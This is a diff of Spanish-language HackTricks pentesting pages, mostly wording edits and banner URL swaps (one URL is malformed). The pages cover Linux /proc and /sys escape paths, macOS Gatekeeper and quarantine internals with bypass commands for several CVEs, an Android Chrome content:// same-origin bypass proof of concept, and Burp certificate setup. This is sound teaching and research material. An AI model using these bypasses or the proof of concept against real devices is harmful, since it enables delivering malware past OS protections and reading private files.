* La información de dirección está restringida con `kptr_restrict` establecido en `1` o `2`.
|
||||
* La información de direcciones está restringida con `kptr_restrict` establecido en `1` o `2`.
|
||||
* Detalles en [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
@ -172,7 +172,7 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/firmware/efi/vars` y `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Expone interfaces para interactuar con variables EFI en NVRAM.
|
||||
* Expone interfaces para interactuar con variables EFI en la NVRAM.
|
||||
* La mala configuración o explotación puede llevar a laptops inutilizables o máquinas host no arrancables.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
@ -186,7 +186,7 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -196,8 +196,8 @@ cat /output %%%
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
|
||||
El mecanismo clave de Gatekeeper radica en su proceso de **verificación**. Verifica si el software descargado está **firmado por un desarrollador reconocido**, asegurando la autenticidad del software. Además, verifica si el software está **notarizado por Apple**, confirmando que está libre de contenido malicioso conocido y que no ha sido manipulado después de la notarización.
|
||||
|
||||
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar aprobación a los usuarios para abrir** el software descargado por primera vez. Esta protección ayuda a evitar que los usuarios ejecuten involuntariamente código ejecutable potencialmente dañino que podrían haber confundido con un archivo de datos inofensivo.
|
||||
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta protección ayuda a evitar que los usuarios ejecuten inadvertidamente código ejecutable potencialmente dañino que podrían haber confundido con un archivo de datos inofensivo.
|
||||
|
||||
### Firmas de Aplicaciones
|
||||
|
||||
|
@ -33,11 +33,11 @@ Así es como funciona:
|
|||
|
||||
1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación utilizando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa para Desarrolladores de Apple. El proceso de firma implica crear un hash criptográfico de todas las partes de la aplicación y cifrar este hash con la clave privada del desarrollador.
|
||||
2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
|
||||
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
|
||||
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash en función del estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
|
||||
|
||||
Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de Internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido manipulado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
|
||||
|
||||
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estos controles pasan, Apple agrega un ticket a la aplicación que Gatekeeper puede verificar.
|
||||
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estos controles se aprueban, Apple agrega un ticket a la aplicación que Gatekeeper puede verificar.
|
||||
|
||||
#### Verificar Firmas
|
||||
|
||||
|
@ -64,7 +64,7 @@ El proceso de notarización de Apple sirve como una salvaguarda adicional para p
|
|||
|
||||
Si el software **supera** esta inspección sin plantear preocupaciones, el Servicio de Notarización genera un ticket de notarización. Luego, se requiere que el desarrollador **adjunte este ticket a su software**, un proceso conocido como 'engrapado'. Además, el ticket de notarización también se publica en línea donde Gatekeeper, la tecnología de seguridad de Apple, puede acceder a él.
|
||||
|
||||
En la primera instalación o ejecución del software por parte del usuario, la existencia del ticket de notarización, ya sea adjunto al ejecutable o encontrado en línea, **informa a Gatekeeper que el software ha sido notarizado por Apple**. Como resultado, Gatekeeper muestra un mensaje descriptivo en el diálogo de lanzamiento inicial, indicando que el software ha sido sometido a controles de contenido malicioso por parte de Apple. Este proceso mejora la confianza del usuario en la seguridad del software que instalan o ejecutan en sus sistemas.
|
||||
En la primera instalación o ejecución del software por parte del usuario, la existencia del ticket de notarización, ya sea adjunto al ejecutable o encontrado en línea, **informa a Gatekeeper que el software ha sido notarizado por Apple**. Como resultado, Gatekeeper muestra un mensaje descriptivo en el cuadro de diálogo de inicio, indicando que el software ha sido sometido a controles de contenido malicioso por parte de Apple. Este proceso aumenta la confianza del usuario en la seguridad del software que instalan o ejecutan en sus sistemas.
|
||||
|
||||
### Enumeración de GateKeeper
|
||||
|
||||
|
@ -97,7 +97,8 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
Ten en cuenta cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store e identificados por desarrolladores**. Si **modificas** esa configuración a App Store, las reglas de "**Notarized Developer ID" desaparecerán**.
|
||||
Observa cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store e identificados por desarrolladores**.\
|
||||
Si **modificas** esa configuración a App Store, las reglas de "**Notarized Developer ID" desaparecerán**.
|
||||
|
||||
También hay miles de reglas de **tipo GKE**:
|
||||
```bash
|
||||
|
@ -124,7 +125,7 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
Cuando esté completamente habilitado, aparecerá una nueva opción:
|
||||
Cuando está completamente habilitado, aparecerá una nueva opción:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -153,18 +154,18 @@ Al **descargar** una aplicación o archivo, ciertas aplicaciones de macOS como n
|
|||
|
||||
**La presencia de una bandera de cuarentena señala la función de seguridad de Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
|
||||
|
||||
En el caso de que la **bandera de cuarentena no esté presente** (como en archivos descargados a través de algunos clientes BitTorrent), **las verificaciones de Gatekeeper pueden no realizarse**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
|
||||
En el caso de que la **bandera de cuarentena no esté presente** (como en archivos descargados a través de algunos clientes BitTorrent), es posible que Gatekeeper no realice sus **verificaciones**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica hacer una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de ser emitido. Por estas razones, una verificación completa de firma de código y notarización es **impracticable de ejecutar cada vez que se inicia una aplicación**.
|
||||
**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica realizar una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de ser emitido. Por estas razones, realizar una verificación completa de firma de código y notarización es **impracticable de ejecutar cada vez que se inicia una aplicación**.
|
||||
|
||||
Por lo tanto, estas verificaciones **solo se ejecutan al ejecutar aplicaciones con el atributo en cuarentena**.
|
||||
Por lo tanto, estas verificaciones **solo se ejecutan al ejecutar aplicaciones con el atributo de cuarentena**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Este atributo debe ser **establecido por la aplicación que crea/descarga** el archivo.
|
||||
|
||||
Sin embargo, los archivos que están en sandbox tendrán este atributo establecido para cada archivo que crean. Y las aplicaciones que no están en sandbox pueden establecerlo ellos mismos, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) en el **Info.plist** lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados.
|
||||
Sin embargo, los archivos que están en sandbox tendrán este atributo establecido para cada archivo que creen. Y las aplicaciones que no están en sandbox pueden establecerlo ellos mismos, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) en el **Info.plist** lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados.
|
||||
{% endhint %}
|
||||
|
||||
Es posible **verificar su estado y habilitar/deshabilitar** (se requieren permisos de root) con:
|
||||
|
@ -282,15 +283,15 @@ La información de cuarentena también se almacena en una base de datos central
|
|||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
La extensión del kernel solo está disponible a través de la **caché del kernel en el sistema**; sin embargo, _puedes_ descargar el **Kernel Debug Kit desde https://developer.apple.com/**, que contendrá una versión simbolizada de la extensión.
|
||||
La extensión del kernel solo está disponible a través de la **caché del kernel en el sistema**; sin embargo, _puedes_ descargar el **Kit de Depuración del Kernel desde https://developer.apple.com/**, que contendrá una versión simbolizada de la extensión.
|
||||
|
||||
### XProtect
|
||||
|
||||
XProtect es una función integrada de **anti-malware** en macOS. XProtect **verifica cualquier aplicación cuando se ejecuta por primera vez o se modifica** contra su base de datos de malware conocido y tipos de archivo inseguros. Cuando descargas un archivo a través de ciertas aplicaciones, como Safari, Correo o Mensajes, XProtect escanea automáticamente el archivo. Si coincide con algún malware conocido en su base de datos, XProtect **impedirá que el archivo se ejecute** y te alertará sobre la amenaza.
|
||||
XProtect es una función integrada de **anti-malware** en macOS. XProtect **verifica cualquier aplicación cuando se ejecuta por primera vez o se modifica contra su base de datos** de malware conocido y tipos de archivo inseguros. Cuando descargas un archivo a través de ciertas aplicaciones, como Safari, Correo o Mensajes, XProtect escanea automáticamente el archivo. Si coincide con algún malware conocido en su base de datos, XProtect **impedirá que el archivo se ejecute** y te alertará sobre la amenaza.
|
||||
|
||||
La base de datos de XProtect se **actualiza regularmente** por Apple con nuevas definiciones de malware, y estas actualizaciones se descargan e instalan automáticamente en tu Mac. Esto asegura que XProtect esté siempre actualizado con las últimas amenazas conocidas.
|
||||
La base de datos de XProtect es **actualizada regularmente** por Apple con nuevas definiciones de malware, y estas actualizaciones se descargan e instalan automáticamente en tu Mac. Esto asegura que XProtect esté siempre actualizado con las últimas amenazas conocidas.
|
||||
|
||||
Sin embargo, es importante tener en cuenta que **XProtect no es una solución antivirus completa**. Solo verifica una lista específica de amenazas conocidas y no realiza escaneos de acceso como la mayoría de los software antivirus.
|
||||
Sin embargo, vale la pena señalar que **XProtect no es una solución antivirus completa**. Solo verifica una lista específica de amenazas conocidas y no realiza escaneos de acceso como la mayoría de los software antivirus.
|
||||
|
||||
Puedes obtener información sobre la última actualización de XProtect ejecutando:
|
||||
|
||||
|
@ -300,9 +301,9 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect se encuentra en una ubicación protegida por SIP en **/Library/Apple/System/Library/CoreServices/XProtect.bundle** y dentro del paquete puedes encontrar la información que XProtect utiliza:
|
||||
XProtect se encuentra en una ubicación protegida por SIP en **/Library/Apple/System/Library/CoreServices/XProtect.bundle** y dentro del paquete puedes encontrar la siguiente información que XProtect utiliza:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Permite que el código con esos cdhashes use privilegios heredados.
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Permite que el código con esos cdhashes utilice permisos heredados.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista de complementos y extensiones que están prohibidos de cargar a través de BundleID y TeamID o indicando una versión mínima.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Reglas Yara para detectar malware.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Base de datos SQLite3 con hashes de aplicaciones bloqueadas y TeamIDs.
|
||||
|
@ -353,7 +354,7 @@ Aunque los componentes son diferentes, la explotación de esta vulnerabilidad es
|
|||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
Verifique el [**informe original**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) para obtener más información.
|
||||
Verifica el [**informe original**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) para obtener más información.
|
||||
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
|
@ -366,7 +367,9 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
|||
```
|
||||
Además, el formato de archivo **AppleDouble** copia un archivo incluyendo sus ACEs.
|
||||
|
||||
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con un ACL que evita que se escriban otros xattrs en él... el xattr de cuarentena no se estableció en la aplicación:
|
||||
En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Por lo tanto, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con un ACL que evita que otros xattrs se escriban en él... el xattr de cuarentena no se estableció en la aplicación:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
|
@ -405,7 +408,7 @@ aa archive -d test/ -o test.aar
|
|||
{% endcode %}
|
||||
|
||||
Al poder crear un archivo que no tenga el atributo de cuarentena establecido, era **posible evadir Gatekeeper.** El truco consistía en **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
|
||||
Cuando se **ejecuta el archivo dmg**, al no tener un atributo de cuarentena, **evadirá Gatekeeper**.
|
||||
Cuando se ejecuta el **archivo dmg**, al no tener un atributo de cuarentena, **evadirá Gatekeeper**.
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -425,21 +428,6 @@ aa archive -d s/ -o app.aar
|
|||
|
||||
En un paquete ".app", si la xattr de cuarentena no se agrega, al ejecutarlo **Gatekeeper no se activará**.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Este es un resumen del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Listado de Archivos en Media Store
|
||||
Para listar archivos gestionados por Media Store, se puede utilizar el siguiente comando:
|
||||
Para listar los archivos gestionados por Media Store, se puede utilizar el siguiente comando:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
|
@ -29,8 +29,8 @@ $ content query --uri content://media/external/file --projection _id,_data
|
|||
```
|
||||
Los proveedores de contenido están aislados en su propio espacio de nombres privado. El acceso a un proveedor requiere el URI específico `content://`. La información sobre las rutas para acceder a un proveedor se puede obtener de los manifiestos de aplicaciones o del código fuente del framework de Android.
|
||||
|
||||
### Acceso de Chrome a Proveedores de Contenido
|
||||
Chrome en Android puede acceder a proveedores de contenido a través del esquema `content://`, lo que le permite acceder a recursos como fotos o documentos exportados por aplicaciones de terceros. Para ilustrar esto, un archivo puede ser insertado en el Media Store y luego accedido a través de Chrome:
|
||||
### Acceso de Chrome a los Proveedores de Contenido
|
||||
Chrome en Android puede acceder a proveedores de contenido a través del esquema `content://`, lo que le permite acceder a recursos como fotos o documentos exportados por aplicaciones de terceros. Para ilustrar esto, se puede insertar un archivo en el Media Store y luego acceder a él a través de Chrome:
|
||||
|
||||
Insertar una entrada personalizada en el Media Store:
|
||||
```bash
|
||||
|
@ -56,7 +56,7 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
|||
|
||||
El _Same Origin Policy_ (SOP) es un protocolo de seguridad en los navegadores que restringe a las páginas web de interactuar con recursos de diferentes orígenes a menos que sea explícitamente permitido por una política de Compartir Recursos de Origen Cruzado (CORS). Esta política tiene como objetivo prevenir filtraciones de información y falsificación de solicitudes entre sitios. Chrome considera `content://` como un esquema local, lo que implica reglas de SOP más estrictas, donde cada URL de esquema local se trata como un origen separado.
|
||||
|
||||
Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitía eludir las reglas de SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo cual era una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con ámbito no estaba implementado.
|
||||
Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitía eludir las reglas de SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo que representaba una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con ámbito no estaba implementado.
|
||||
|
||||
El siguiente ejemplo de concepto demuestra esta vulnerabilidad, donde un documento HTML, después de ser cargado en **/sdcard** y añadido a la Media Store, utiliza `XMLHttpRequest` en su JavaScript para acceder y mostrar el contenido de otro archivo en la Media Store, eludiendo las reglas de SOP.
|
||||
|
||||
|
@ -89,20 +89,20 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ En primer lugar, necesitas descargar el certificado Der desde Burp. Puedes hacer
|
|||
|
||||
.png>)
|
||||
|
||||
**Exporta el certificado en formato Der** y vamos a **transformarlo** a una forma que **Android** pueda **entender.** Ten en cuenta que **para configurar el certificado de burp en la máquina Android en AVD** necesitas **ejecutar** esta máquina **con** la opción **`-writable-system`**.\
|
||||
**Exporta el certificado en formato Der** y vamos a **transformarlo** a una forma que **Android** va a poder **entender.** Ten en cuenta que **para configurar el certificado de burp en la máquina Android en AVD** necesitas **ejecutar** esta máquina **con** la opción **`-writable-system`**.\
|
||||
Por ejemplo, puedes ejecutarlo así:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
